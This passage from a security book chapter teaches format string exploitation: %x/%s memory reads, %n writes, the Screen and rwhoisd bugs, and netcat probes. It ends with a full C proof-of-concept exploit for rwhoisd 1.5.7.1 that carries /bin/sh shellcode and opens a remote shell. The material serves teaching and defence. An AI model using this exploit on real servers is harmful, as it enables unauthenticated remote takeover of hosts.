result in a denial of service. Second, attackers can read process memory if the formatted string is output. Finally, memory can be overwritten by attackers¡Xpossibly leading to execution of instructions. www.syngress.com Using Format Strings to Exploit Buffer Overflows User-supplied format specifiers can also be used to aid in exploiting buffer overflow conditions. In some situations, an sprintf() condition exists that would be exploitable if it were not for length limitations placed on the source strings prior to them being passed to the insecure function. Due to these restrictions, it may not be possible for an attacker to supply an oversized string as the format string or the value for a %s in an sprintf call. If user-supplied data can be embedded in the format string argument of sprintf(), the size of the string being created can be inflated by using padded format specifiers. For example, if the attacker can have %100i included in the format string argument for sprintf, the output string may end up more than 100 bytes larger than it should be. The padded format specifier may create a large enough string to overflow the destination buffer. This may render the limits placed on the data by the programmer useless in protecting against overflows and allow for the exploitation of this condition by an attacker to execute arbitrary code. We will not discuss this method of exploitation further. Although it involves using format specifiers to overwrite memory, the format speci- fier simply is being used to enlarge the string so that a typical stack over- flow condition can occur. This chapter is for exploitation using only format specifiers, without relying on another vulnerability due to a separate programmatic flaw such as buffer overflows. Additionally, the described situation could also be exploited as a regular format string vulnerability using only format specifiers to write to memory. Damage & Defense¡K Format Strings ¡E Chapter 9 329 Denial of Service The simplest way that a format string vulnerability can be exploited is to cause a denial of service through forcing the process to crash. It is relatively easy to cause a program to crash with malicious format specifiers. Certain format specifiers require valid memory addresses as corresponding variables. One of them is %n, which we just discussed and which we will explain in further detail soon. Another is %s, which requires a pointer to a NULL terminated string. If an attacker supplies a malicious format string containing either of these format specifiers, and no valid memory address exists where the corresponding variable should be, the process will fail attempting to dereference whatever is in the stack.This may cause a denial of service and does not require any complicated exploit method. In fact, there were a handful of known problems caused by format strings that existed before anyone understood that format strings were exploitable. For example, it was know that it was possible to crash the BitchX IRC client by passing %s%s%s%s as one of the arguments for certain IRC commands. However, as far as we know, no one realized this was further exploitable until the WU-FTPD exploit came to light. There is not much more to crashing processes using format string.There are much more interesting and useful things an attacker can do with format string vulnerabilities. Reading Memory If the output of the format string function is available, attackers can also exploit these vulnerabilities to read process memory.This is a serious problem and can lead to disclosure of sensitive information. For example, if a program accepts authentication information from clients and does not clear it immediately after use, format string vulnerabilities can be used to read it.The easiest way for an attacker to read memory due to a format string vulnerability is to have the function output memory as variables corresponding to format specifiers.These variables are read from the stack based on the format specifiers included in the format string. For example, 4 byte values can be retrieved for each instance of %x.The limitation of reading memory this way is that it is limited to only data on the stack. It is also possible for attackers to read from arbitrary locations in memory by using the %s format specifier. As described earlier, the %s format specifier corresponds to a NULL terminated string of characters.This string is passed by www.syngress.com 330 Chapter 9 ¡E Format Strings reference. An attacker can read memory in any location by supplying a %s format specifier and a corresponding address variable to the vulnerable program.The address where the attacker would like reading to begin must also be placed in the stack in the same manner that the address corresponding to any %n variables would be embedded.The presence of a %s format specifier would cause the format string function to read in bytes starting at the address supplied by the attacker until a NULL byte is encountered. The ability to read memory is very useful to attackers and can be used in conjunction with other methods of exploitation. How to do this will be described in detail and will be used in the exploit we are developing toward the end of this chapter. Writing to Memory Previously, we touched on the %n format specifier.This formerly obscure token exists for the purpose of indicating how large a formatted string is at runtime. The variable corresponding to %n is an address.When the %n token is encountered during printf processing, the number (as an integer data type) of characters that make up the formatted output string is written to the address argument corresponding to the format specifier. The existence of such a format specifier has serious security implications: it can allow for writes to memory.This is the key to exploiting format string vulnerabilities to accomplish goals such as executing shellcode. Single Write Method The first method that we will talk about involves using only the value of a single %n write to elevate privileges. In some programs, critical values such as a user¡¦s userid or groupid is stored in process memory for purposes of lowering privileges. Format string vulnerabilities can be exploited by attackers to corrupt these variables. An example of a program with such a vulnerability is the Screen utility. Screen is a popular UNIX utility that allows for multiple processes to use a single pseudoterminal.When installed setuid root, Screen stores the privileges of the invoking user in a variable.When a window is created, the Screen parent process lowers privileges to the value stored in that variable for the children processes (the user shell, etc.). Versions of Screen prior to and including 3.9.5 contained a format string vulnerability when outputting the user-definable visual bell string.This string, www.syngress.com Format Strings ¡E Chapter 9 331 defined in the user¡¦s .screenrc configuration file, is output to the user¡¦s terminal as the interpretation of the ASCII beep character.When output, user-supplied data from the configuration file is passed to a printf function as part of the format string argument. Due to the design of Screen, this particular format string vulnerability could be exploited with a single %n write. No shellcode or construction of addresses was required.The idea behind exploiting Screen is to overwrite the saved userid with one of the attacker¡¦s choice, such as 0 (root¡¦s userid). To exploit this vulnerability, an attacker had to place the address of the saved userid in memory reachable as an argument by the affected printf function.The attacker must then create a string that places a %n at the location where a corresponding address has been placed in the stack.The attacker can offset the target address by 2 bytes and use the most significant bits of the %n value to zero-out the userid.The next time a new window is created by the attacker, the Screen parent process would set the privileges of the child to the value that has replaced the saved userid. By exploiting the format string vulnerability in Screen, it was possible for local attackers to elevate to root privileges.The vulnerability in Screen is a good example of how some programs can be exploited by format string vulnerabilities trivially.The method described is largely platform independent as well. Multiple Writes Method Now we move on to using multiple writes to locations in memory.This is slightly more complicated but has more interesting results.Through format string vulnerabilities it is often possible to replace almost any value in memory with whatever the attacker likes.To explain this method, it is important to understand the %n parameter and what gets written to memory when it is encountered in a format string. To recap, the purpose of the %n format specifier is to print the number of characters to be output so far in the formatted string. An attacker can force this value to be large, but often not large enough to be a valid memory address (for example, a pointer to shellcode). Because of this reason, it is not possible to replace such a value with a single %n write.To get around this, attackers can use successive writes to construct the desired word byte by byte. By using this technique, a hacker can overwrite almost any value with arbitrary bytes.This is how arbitrary code is executed. www.syngress.com 332 Chapter 9 ¡E Format Strings How Format String Exploits Work Let¡¦s now investigate how format string vulnerabilities can be exploited to overwrite values such as memory addresses with whatever the attacker likes. It is through this method that hackers can force vulnerable programs to execute shellcode. Recall that when the %n parameter is processed, an integer is written to a location in memory.The address of the value to be overwritten must be in the stack where the printf function expects a variable corresponding to a %n format specifier to be. An attacker must somehow get an address into the stack and then write to it by placing %n at the right location in their malicious format string. Sometimes this is possible through various local variables or other program-specific conditions where user-controllable data ends up in the stack. There is usually an easier and more consistently available way for an attacker to specify their target address. In most vulnerable programs, the user-supplied format string passed to a printf function exists in a local variable on the stack itself. Provided that that there is not too much data as local variables, the format string is usually not too far away from the stack frame belonging to the affected printf function call. Attackers can force the function to use an address of their choosing if they include it in their format string and place an %n token at the right location. Attackers have the ability to control where the printf function reads the address variable corresponding to %n. By using other format specifiers, such as %x or %p, the stack can be traversed or ¡§eaten¡¨¡¦ by the printf function until it reaches the address embedded in the stack by the attacker. Provided that user data making up the format string variable isn¡¦t truncated, attackers can cause printf to read in as much of the stack as is required, until printf() reads as variables addresses they have placed in the stack. At those points they can place %n specifiers that will cause data to be written to the supplied addresses. NOTE There cannot be any NULL bytes in the address if it is in the format string (except as the terminating byte), as the string is a NULL terminated array just like any other in C. This does not mean that addresses containing NULL bytes can never be used¡Xaddresses can often be placed in the stack in places other than the format string itself. In these cases it may be possible for attackers to write to addresses containing NULL bytes. www.syngress.com Format Strings ¡E Chapter 9 333 For example, an attacker who wishes to use an address stored 32 bytes away from where a printf() function reads its first variable can use 8 %x format speci- fiers.The %x token outputs the value, in Base16 character representation, of a 4- byte word on 32-bit Intel systems. For each instance of %x in the format string, the printf function reads 4 bytes deeper into the stack for the corresponding variable. Attackers can use other format specifiers to push printf() into reading their data as variables corresponding to the %n specifier. Once an address is read by printf() as the variable corresponding to a %n token, the number of characters output in the formatted string at that point will be stored there as an integer.This value will overwrite whatever exists at the address (assuming it is a valid address and writeable memory). Constructing Values An attacker can manipulate the value of the integer that is written to the target address. Hackers can use the padding functionality of printf to expand the number of characters to be output in the formatted string. int main() { // test.c printf("start: %10i end\n",10); } In the preceding example, the %10i token in the format string is an integer format specifier containing a padding value.The padding value tells the printf() function to use 10 characters when representing the integer in the formatted string. [dma@victim server]$./test start: 10 end The decimal representation of the number 10 does not require 10 characters, so by default the extra ones are spaces.This feature of printf() can be used by attackers to inflate the value written as %n without having to create an excessively long format string. Although it is possible to write larger numbers, the values attackers wish to write are often much larger than can be created using padded format specifiers. By using multiple writes through multiple %n tokens, attackers can use the least significant bytes of the integer values being written to write each byte www.syngress.com 334 Chapter 9 ¡E Format Strings comprising the target value separately.This will allow for the construction of a word such as an address using the relatively low numerical values of %n.To accomplish this, attackers must specify addresses for each write successive to the first offset from the target by one byte. By using four %n writes and supplying four addresses, the low-order bits of the integers being written are used to write each byte value in the target word (see Figure 9.1). On some platforms (such as RISC systems), writes to memory addresses not aligned on a 2-byte boundary are not permitted.This problem can be solved in many cases by using short integer writes using the %hn format specifier. Constructing custom values using successive writes is the most serious method of exploitation, as it allows for attackers to gain complete control over the process.This can be accomplished by overwriting pointers to instructions www.syngress.com Figure 9.1 Address Being Constructed Using Four Writes Format Strings ¡E Chapter 9 335 with pointers to attacker-supplied shellcode. If an attacker exploits a vulnerability this way, the flow of program execution can be modified such that the shellcode is executed by the process. What to Overwrite With the ability to construct any value at almost any location in memory, the question is now ¡§what should be overwritten?¡¨ Given that nearly any address can be used, the hacker has many options.The attacker can overwrite function return addresses, which is the same thing done when stack-based buffer overflows are exploited. By overwriting the current function return address, shellcode can be executed when the function returns. Unlike overflows, attackers are not limited to return addresses, though. Overwriting Return Addresses Most stack-based buffer overflow vulnerabilities involve the attacker replacing the function return address with a pointer to other instructions.When the function that has been corrupted finishes and attempts to return to the calling block of code, it instead jumps to wherever the replacement return address points.The reason that attackers exploiting stack overflows overwrite return addresses is because that is usually all that can be overwritten.The attacker does not get a choice of where their data ends up, as it is usually copied over data neighboring the affected buffer. Format string vulnerabilities differ in that the write occurs at the location specified by the address corresponding to the %n specifier.An attacker exploiting a format string vulnerability can overwrite a function return address by explicitly addressing one of the target addresses.When the function returns, it will return to the address constructed by the attacker¡¦s %n writes. There are two possible problems that attackers face when overwriting function return addresses.The first is situations where a function simply does not return.This is common in format string vulnerabilities because many of them involve printing error output.The program may simply output an error message (with the externally supplied data passed as the format string argument) and call exit() to terminate the program. In these conditions, overwriting a return address for anything other than the printf function itself will not work.The second problem is that overwriting return addresses can be caught by anti-buffer-over- flow mechanisms such as StackGuard. www.syngress.com 336 Chapter 9 ¡E Format Strings Overwriting Global Offset Table Entries and Other Function Pointers The global offset table (GOT) is the section of an ELF program that contains pointers to library functions used by the program. Attackers can overwrite GOT entries with pointers to shellcode that will execute when the library functions are called. Not all binaries being exploited are of the ELF format.This leaves general function pointers, which are easy targets for programs that use them. Function pointers are variables that the programmer creates and must be present in the program for an attacker to exploit them. In addition to this, the function must be called by reference using the function pointer for the attacker¡¦s shellcode to execute. Examining a Vulnerable Program We¡¦ll now decide on a program to use to demonstrate the exploitation of a format string vulnerability.The vulnerability should be remotely exploitable. Penetration of computer systems by attackers from across the Internet without any sort of credentials beforehand best demonstrates the seriousness of format string vulnerabilities.The vulnerability should be real in a program with a wellknown or respected author, to demonstrate that vulnerabilities can and do exist in software we may trust to be well written. Our example should also have several properties that allow us to explore the different aspects of exploiting format string vulnerabilities, such as outputting the formatted string. The program we will use as our example is called Rwhoisd. Rwhoisd, or the RWHOIS daemon, is an implementation of the RWHOIS service.The research and development branch of Network Solutions, Inc currently maintains the rwhoisd RWHOIS server and it is published under the GNU Public License. A classic remotely exploitable format string vulnerability exists in versions 1.5.7.1 of rwhoisd and earlier.The format string vulnerability allows for unauthenticated clients who can connect to the service to execute arbitrary code.The vulnerability was first made public through a post to the Bugtraq mailing list (the message is archived at www.securityfocus.com/archive/1/222756). To understand the format string vulnerability that was present in rwhoisd, we must look at its source code.The version we are examining is version 1.5.7.1. At the time of writing, it is available for download at the Web site www.rwhois.net/ftp. www.syngress.com Format Strings ¡E Chapter 9 337 www.syngress.com Some High Profile Format String Vulnerabilities Besides the WU-FTPD SITE EXEC format string vulnerability, there have been several others worth mentioning. Some of these have been used in worms and mass-hacking utilities and have directly resulted in thousands of hosts being compromised. IRIX Telnetd Client-supplied data included in the format string argument for syslog() allowed for remote attackers to execute arbitrary code without authenticating. This vulnerability was discovered by the Last Stage of Delirium. (See www.securityfocus.com/bid/1572.) Linux rpc.statd This format string vulnerability was due to the misuse of syslog() as well and could also be exploited to gain root privileges remotely. It was discovered by Daniel Jacobowitz and published on July 16, 2000 in a post to Bugtraq. (See www.securityfocus.com/bid/1480.) Cfingerd Another format string vulnerability due to syslog() discovered by Megyer Laszlo. Successful exploitation can result in remote attackers gaining control of the underlying host. (See www.securityfocus.com/bid/2576.) Multiple Vendor LibC Locale Implementation Jouko Pynnonen and Core SDI independently discovered a format string vulnerability in the C library implementations shipped with several UNIX systems. The vulnerability allowed for attackers to gain elevated privileges locally by exploiting setuid programs. (See www.securityfocus.com/bid/1634.) Multiple CDE Vendor rpc.ttdbserverd ISS X-Force discovered a vulnerability related to the misuse of syslog() in versions of the ToolTalk database server daemon shipped with several operating systems that include CDE. This vulnerability allows for remote, unauthenticated attackers to execute arbitrary code on the victim host. (See www.securityfocus.com/ bid/3382.) Notes from the Underground¡K 338 Chapter 9 ¡E Format Strings The vulnerability is present when an error message in response to an invalid argument to the ¡Vsoa command is to be output. Error messages are created and output using a standard function called print_error().This function is called throughout the server source code to handle reporting of error conditions to the client or user. It accepts an integer argument to specify the error type as well as a format string and a variable number of arguments. The source code to this function is in the common/client_msgs.c source file (path is relative to the directory created when the 1.5.7.1 source tarball is unarchived). /* prints to stdout the error messages. Format: %error ### message text, where ### follows rfc 640 */ void print_error(va_alist) va_dcl { va_list list; int i; int err_no; char *format; if (printed_error_flag) { return; } va_start(list); err_no = va_arg(list, int); for (i = 0; i < N_ERRS; i++) { if (errs[i].err_no == err_no) { printf("%%error %s", errs[i].msg); break; } } format = va_arg(list, char*); www.syngress.com Format Strings ¡E Chapter 9 339 if (*format) { printf(": "); } vprintf(format, list); va_end(list); printf("\n"); printed_error_flag = TRUE; } The bolded line is where the arguments passed to this function are passed to vprintf().The format string vulnerability is not in this particular function, but in the use of it. Print_error() relies on the calling function to pass it a valid format string and any associated variables. This function is a listed here because it is a good example of the kind of situation that leads to exploitable format string vulnerabilities. Many programs have functions very similar to print_error(). It is a wrapper for printing error messages in the style of syslog(), with an error code and printf() style variable arguments.The problem though, as discussed in the beginning of the chapter, is that programmers may forget that a format string argument must be passed. We will now look at what happens when a client connects to the service and attempts to pass format string data to the vprintf() function through the print_error() wrapper. To those of you who have downloaded the source code, the offending section of code is in the server/soa.c source file.The function in which the offending code exists is called soa_parse_args().The surrounding code has been stripped for brevity.The vulnerable call exists on line 53 (it is in bold in this listing): .. auth_area = find_auth_area_by_name(argv[i]); if (!auth_area) { print_error(INVALID_AUTH_AREA, argv[i]); free_arg_list(argv); dl_list_destroy(soa_arg); return NULL; } www.syngress.com 340 Chapter 9 ¡E Format Strings In this instance of print_error(), the variable argv[i] is passed as the format string argument to print_error().The string will eventually be passed to the vprintf() function (as previously pointed out).To a source code auditor, this looks suspiciously exploitable.The proper way to call this function would be: print_error(INVALID_AUTH_AREA, "%s", argv[i]); In this example, argv[i] is passed to the print_error() function as a variable corresponding to the %s (string) token in the format string.The way that this function is called eliminates the possibility of any maliciously placed format specifiers in argv[i] from being interpreted/acted upon by the vprintf() called by print_error(). The string argv[i] is the argument to the -soa directive passed to the server by the client. To summarize, when a client connects to the rwhoisd server and issues a -soa command, an error message is output via print_error() if the arguments are invalid. The path of execution leading up to this looks like this: 1. Server receives -soa argument, and calls soa_directive() to handle the command. 2. soa_directive() passes the client command to soa_parse_args(), which interprets the arguments to the directive. 3. soa_parse_args() detects an error and passes an error code and the command string to the print_error() function as the format string argument. 4. print_error() passes the format string containing data from the client to the vprintf() function (highlighted in the previous section). It is clear now that remote clients can have data passed to vprintf() as the format string variable.This data is the argument to the -soa directive. By connecting to the service and supplying a malicious format string, attackers can write to memory belonging to the server process. Testing with a Random Format String Having located a possible format string vulnerability in the source code, we can now attempt to demonstrate that it is exploitable through supplying malicious input and observing the server reaction. Programs with suspected format string vulnerabilities can be forced to exhibit some form of behavior that indicates their presence. If the vulnerable program outputs the formatted string, their existence is obvious. If the vulnerable program www.syngress.com Format Strings ¡E Chapter 9 341 does not output the formatted string, the behavior of the program in response to certain format specifiers can suggest the presence of a format string vulnerability. If the process crashes when %n%n is input, it¡¦s likely that a memory access violation occurred when attempting to write to invalid addresses read from the stack. It is possible to identify vulnerable programs by supplying these format specifiers to a program that does not output the formatted string. If the process crashes, or if the program does not return any output at all and appears to terminate, it is likely that there is a format string vulnerability. Back to our example, the formatted string is returned to the client as part of the server error response.This makes the job of an attacker looking for a way into the host simple.The following example demonstrates the output of rwhoisd that is indicative of a format string bug: [dma@victim server]$ nc localhost 4321 %rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc. V-1.5.7.1) -soa am_%i_vulnerable %error 340 Invalid Authority Area: am_-1073743563_vulnerable In this example, connecting to the service and transmitting a format specifier in the data suspected to be included as a format string variable caused ¡V1073743563 to be included in the server output where the literal %i should be. The negative number output is the interpretation of the 4 bytes on the stack where the printf function was expecting a variable as a signed integer.This is con- firmation that there is a format string vulnerability in rwhoisd. Having identified a format string vulnerability both in the program source code and through program behavior, we should set about exploiting it.This particular vulnerability is exploitable by a remote client from across a network. It does not require any authentication and it is likely that it can be exploited by attackers to gain access to the underlying host. In cases such as this, where a program outputs a formatted string, it is possible to read the contents of the stack to aid in successful exploitation. Complete words of memory can be retrieved in the following manner: [dma@victim server]$ nc localhost 4321 %rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc. V-1.5.7.1) -soa %010p %error 340 Invalid Authority Area: 0xbffff935 -soa %010p%010p %error 340 Invalid Authority Area: 0xbffff9350x0807fa80 www.syngress.com 342 Chapter 9 ¡E Format Strings -soa %010p%010p%010p %error 340 Invalid Authority Area: 0xbffff9350x0807fa800x00000001 -soa %010p%010p%010p%010p %error 340 Invalid Authority Area: 0xbffff9350x0807fa800x 000000010x08081cd8 In this example, the client retrieved one, two, three, and four words from the stack.They have been formatted in a way that can be parsed automatically by an exploit.A well-written exploit can use this output to reconstruct the stack layout in the server process.The exploit can read memory from the stack until the format string itself is located, and then calculate automatically the location where the %n writes should begin in the format string. %rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc. V-1.5.7.1) -soa %010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p %010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%c%c%c%c%c %error 340 Invalid Authority Area: 0xbffff9350x0807fa800x000000010x0807 fc300xbffff8f40x0804f21e0xbffff9350xbffff9350xbffff90c0x0804a6a30xbffff9 35(nil)0xbffff9300xbffffb640xbffff9200x0804eca10xbffff9300xbffff9300x000 000040xbffffb300x0804ef4e0xbffff9300x000000050x616f732d0x31302500010%p In this example, the client has caused the printf function to search the stack for variables where the format string is stored.The 010%p characters (in bold) are the beginning of the client-supplied string, containing the very format specifiers being processed. If the attacker were to embed an address in their format string at the beginning of their string, and use a %n token where the %c specifiers are, the address in the format string would be the one written to. www.syngress.com More Stack with Less Format String It may be the case that the format string in the stack cannot be reached by the printf function when it is reading in variables. This may occur for several reasons, one of which is truncation of the format string. If the format string is truncated to a maximum length at some point in the Tools & Traps¡K Continued Format Strings ¡E Chapter 9 343 www.syngress.com program¡¦s execution before it is sent to the printf function, the number of format specifiers that can be used is limited. There are a few ways to get past this obstacle when writing an exploit. The idea behind getting past this hurdle and reaching the embedded address is to have the printf function read more memory with less format string. There are a number of ways to accomplish this: Using Larger Data Types The first and most obvious method is to use format specifiers associated with larger datatypes, one of which is %lli, corresponding to the long long integer type. On 32-bit Intel architecture, a printf function will read 8 bytes from the stack for every instance of this format speci- fier embedded in a format string. It is also possible to use long float and double long float format specifiers, though the stack data may cause floating point operations to fail, resulting in the process crashing. Using Output Length Arguments Some versions of libc support the * token in format specifiers. This token tells the printf function to obtain the number of characters that will be output for this specifier from the stack as a function argument. For each *, the function will eat another 4 bytes. The output value read from the stack can be overridden by including a number next to the actual format specifier. For example: The format specifier %*******10i will result in an integer represented using 10 characters. Despite this, the printf function will eat 32 bytes when it encounters this format specifier. The first use of this method is credited to an individual known as lorian. Accessing Arguments Directly It is also possible to have the printf function reference specific parameters directly. This can be accomplished by using format specifiers in the form %$xn, where x is the number of the argument (in order). This technique is possible only on platforms with C libraries that support access of arguments directly. Having exhausted these tricks and still not able to reach an address in the format string, the attacker should examine the process to determine if there is anywhere else in a reachable region of the stack where addresses can be placed. Remember that it is not required that the Continued 344 Chapter 9 ¡E Format Strings Writing a Format String Exploit Now we move on to actually exploiting a format string vulnerability.The goal of the attacker, in the case of a program such as rwhoisd, is to force it to execute instructions that are attacker-supplied.These instructions should grant access to the attacker on the underlying host. The exploit will be written for rwhoisd version 1.5.7.1, compiled on an i386 Linux system.This is the program we looked at earlier. As previously mentioned, to execute shellcode, the exploit must overwrite a value that is referenced by the process at some point as the address of instructions to be executed. In the exploit we are developing, we will be overwriting a function return address with a pointer to shellcode.The shellcode will exec() /bin/sh and provide shell access to the client. The first thing that the exploit code must do is connect to the service and attempt to locate the format string in the stack.The exploit code does this by connecting to the service and supplying format strings that incrementally return words from the stack to the exploit.The function in the exploit that does this is called brute_ force().This function sends format string specifiers that cause increasing amounts of stack memory to be output by the server.The exploit then compares each word in the stack output to 0x6262626262, which was placed at the beginning of the format string.There is a chance that the alignment may be off; this exploit does not take that possibility into account. if((*ptr == '0') && (*(ptr+1) == 'x')) { memcpy(segment,ptr,10); segment[10] = '\0'; chekit = strtoul(segment,NULL,16); if(chekit == FINDME) www.syngress.com address be embedded in the format string, just that it is convenient since it is often near in the stack. Data supplied by the attacker as input other than the format string may be reachable. In the Screen vulnerability, it was possible to access a variable that was constructed using the HOME environment variable. This string was closer in the stack to anything else externally supplied and could barely be reached. Format Strings ¡E Chapter 9 345 { printf("*b00m*: found address #1: %i words away.\n",i); foundit = i; return foundit; } ptr += 10; } The stack output is parsed easily by the exploit due to the use of the %010p format specifier by the exploit.The %010p formats each word as an 8-character hex representation preceded by 0x. Each of these string representations of words can be passed to a C library function such as strtoul and returned as a binary (unsigned with strtoul()) integer data type. The goal of this exploit is to execute arbitrary code.To do this, we must overwrite some value that will be used to reference instructions to be executed. One such value that can be overwritten is a function return address. As discussed earlier, stack based buffer overflows usually overwrite these values because the return address happens to exist on the stack and gets overwritten in an overflow condition. We will replace a function return address simply because it¡¦s convenient. Our goal is to overwrite the return address stored when print_error() is called. In the binary version used to write this proof of concept, the address of this return address on the stack when we can overwrite it is 0xbffff8c8.This address will serve as our target. Once the exploit has located the format string in the stack, it must construct a new format string with the %n specifiers at the right position for the supplied addresses to be used when writing.This can be accomplished by using format specifiers such as %x to eat as many words of the stack as are required.This exploit does this automatically based on the results of the brute_ force() function. for(i = 0;i<num-1;i++) { strncat(str,"%x",2); // work our way to where target is } The num variable in the code listed originates from the brute force location of the format string. Now that the exploit has an address to write to, we must construct an address at the target location. www.syngress.com 346 Chapter 9 ¡E Format Strings The return address must be overwritten using the successive writes we discussed earlier. In order to construct a 4-byte address, the four writes must occur at different offsets from the start of the word.The addresses must also be placed in the format string: *((long *)(str+8)) = TARGET; // target *((long *)(str+16)) = TARGET+1; *((long *)(str+24)) = TARGET+2; *((long *)(str+32)) = TARGET+3; str[36] = '\0'; The next step is to write the correct value at each of the offsets.The value we are writing is the location of shellcode that we have placed in the stack.The address for this example proof of concept is 0xbffff99d. To construct this value, we must write the following low-order bytes to each address in our format string: TARGET - 9d TARGET+1 - fn TARGET+2 - ff TARGET+3 - bf This can be accomplished by using the padded format specifiers we discussed earlier to write the desired low-order bits. For example, writing %125x might cause the value 0x0000019d to be written to TARGET.That¡¦s perfect for our situation because 9d will be the value of the byte we want to write. By using padded format specifiers and successive writes, we can construct the address we want at the target location: strncat(str,"%227x",5); // padding strncat(str,"%n",2); // first write strncat(str,"%92x",4); // padding strncat(str,"%n",2); // second write strncat(str,"%262x",5); // padding strncat(str,"%n",2); // third write strncat(str,"%192x",5); // padding strncat(str,"%n",2); // fourth write It should be noted that the padding value used is highly dependent on the total number of characters being output in the formatted string. It is possible to www.syngress.com Format Strings ¡E Chapter 9 347 determine how many characters to pad automatically if the formatted string is output. Once the function return address is overwritten, vfprintf() will return normally and the shellcode will be executed once print_error() returns. Figure 9.2 demonstrates successful exploitation of this vulnerability. The exploit code follows: // proof of concept // written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system // // overwrites return address at 0xbffff8c8 and replaces it with // address of shellcode (for this binary) // the shellcode is based on that which was included // in an exploit written by 'CowPower'. // http://www.securityfocus.com/archive/1/222756 #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> www.syngress.com Figure 9.2 Exploitation of the rwhoisd Format String Vulnerability to Penetrate a Host 348 Chapter 9 ¡E Format Strings #include <sys/errno.h> #include <linux/in.h> extern int errno; #define FINDME 0x62626262 // we need to find this in the stack #define TARGET 0xbffff8c8 // the address that we are overwriting void gen_str(char *str, int found,int target); unsigned int brute_force(int s, char *str,char *reply); void session(int s); int main(int argc, char *argv[]) { int s; fd_set fd; int amt; struct sockaddr_in sa; struct sockaddr_in ca; int where = 0; char reply[5000]; // receive buffer char str[1000]; // send buffer str[0] = '-'; // - directive prefix str[1] = 's'; str[2] = 'o'; str[3] = 'a'; str[4] = ' '; // padding str[5] = ' '; // padding str[6] = ' '; // padding www.syngress.com Format Strings ¡E Chapter 9 349 str[7] = ' '; // padding *((long *)(str+8)) = FINDME; // find me in the stack str[12] = '\0'; bzero(&ca,sizeof(struct sockaddr_in)); bzero(&sa,sizeof(struct sockaddr_in)); if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket:"); } if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0) { perror("bind:"); } sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(4321); sa.sin_family = AF_INET; if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0) { perror("connect"); } where = brute_force(s,reply,str); // brute force gen_str(str,where,TARGET); // generate exploit string write(s,str,strlen(str)); // send exploit code while(1) { amt = read(s,reply,1); www.syngress.com 350 Chapter 9 ¡E Format Strings if (reply[0] == '\n') break; } write(s,"id;\n",4); amt = read(s,reply,1024); reply[amt] = '\0'; if ((reply[0] == 'u') && (reply[1] == 'i') && (reply[2] == 'd')) { printf("*b00m*: %s\n",reply); session(s); } else { printf("exploit attempt unsuccessful..\n"); } close(s); exit(0); } unsigned int brute_force(int s,char *reply, char *str) { // this function searches the stack on the victim host // for the format string int foundit = 0; int amt = 0; int i = 0; amt = read(s,reply,500); // read in the header, junk reply[amt] = '\0'; www.syngress.com Format Strings ¡E Chapter 9 351 while(!foundit) { strncat(str,"%010p",5); write(s,str,strlen(str)+1); write(s,"\n",1); amt = read(s,reply,1024); if (amt == 0) { fprintf(stderr,"Connection closed.\n"); close(s); exit(-1); } reply[amt] = '\0'; amt = 0; i = 0; while(reply[amt-1] != '\n') { i += amt; amt = read(s, reply+i, 1024); if (amt == 0) { fprintf(stderr,"Connection closed.\n"); close(s); exit(-1); } } reply[amt] = '\0'; foundit = find_addr(reply); } www.syngress.com 352 Chapter 9 ¡E Format Strings } int find_addr(char *str) { // this function parses server output. // searches in words from the stack for // the format string char *ptr; char segment[11]; unsigned long chekit = 0; int i = 0; int foundit = 0; ptr = str + 6; while((*ptr != '\0') && (*ptr != '\n')) { if((*ptr == '0') && (*(ptr+1) == 'x')) { memcpy(segment,ptr,10); segment[10] = '\0'; chekit = strtoul(segment,NULL,16); if(chekit == FINDME) { printf("*b00m*: found address #1: %i words away.\n",i); foundit = i; return foundit; } ptr += 10; } else if ((*ptr == ' ') && (*(ptr+1) == ' ')) www.syngress.com Format Strings ¡E Chapter 9 353 { ptr += 10; // 0x00000000 } i++; } return foundit; } void gen_str(char *str,int num,int target) { // this function generates the exploit string // it contains the addresses to write to, // the format specifiers (padding, %n's) // and the shellcode int i; char *shellcode = "\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e" "\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c" "\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb" "\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh"; memset(str+8,0x41,992); // clean the buffer *((long *)(str+8)) = TARGET; // place the addresses *((long *)(str+16)) = TARGET+1; // in the buffer *((long *)(str+24)) = TARGET+2; *((long *)(str+32)) = TARGET+3; *((long *)(str+36)) = TARGET+4; str[36] = '\0'; for(i = 0;i<num-1;i++) { www.syngress.com 354 Chapter 9 ¡E Format Strings strncat(str,"%x",2); // work our way to where target is } // the following section is binary dependent strncat(str,"%227x",5); // padding strncat(str,"%n",2); // first write strncat(str,"%92x",4); // padding strncat(str,"%n",2); // second write strncat(str,"%262x",5); // padding strncat(str,"%n",2); // third write strncat(str,"%192x",5); // padding strncat(str,"%n",2); // fourth write strncat(str,shellcode,strlen(shellcode)); // insert the shellcode strncat(str,"\n",1); // terminate with a newline } void session(int s) { // this function facilitates communication with a // shell exec()'d on the victim host. fd_set fds; int i; char buf[1024]; FD_ZERO(&fds); while(1) { FD_SET(s, &fds); FD_SET(0, &fds); www.syngress.com Format Strings ¡E Chapter 9 355 select(s+1, &fds, NULL, NULL, NULL); if (FD_ISSET(0,&fds)) { i = 0; bzero(buf,sizeof(buf)); fgets(buf,sizeof(buf)-2, stdin); write(s,buf,strlen(buf)); } else if (FD_ISSET(s,&fds)) { i = 0; bzero(buf,sizeof(buf)); if ((i = read(s,buf,1024)) == 0) { printf("connection lost.\n"); exit(0); } buf[i] = '\0'; printf("%s",buf); } } } www.syngress.com 356 Chapter 9 ¡E Format Strings Summary Format string vulnerabilities are one of the newest additions to the typical hacker¡¦s bag of tricks. Techniques hackers are using to exploit bugs in software have become signifi- cantly more sophisticated in the past couple of years. One of the reasons for this is that there are simply more hackers, more 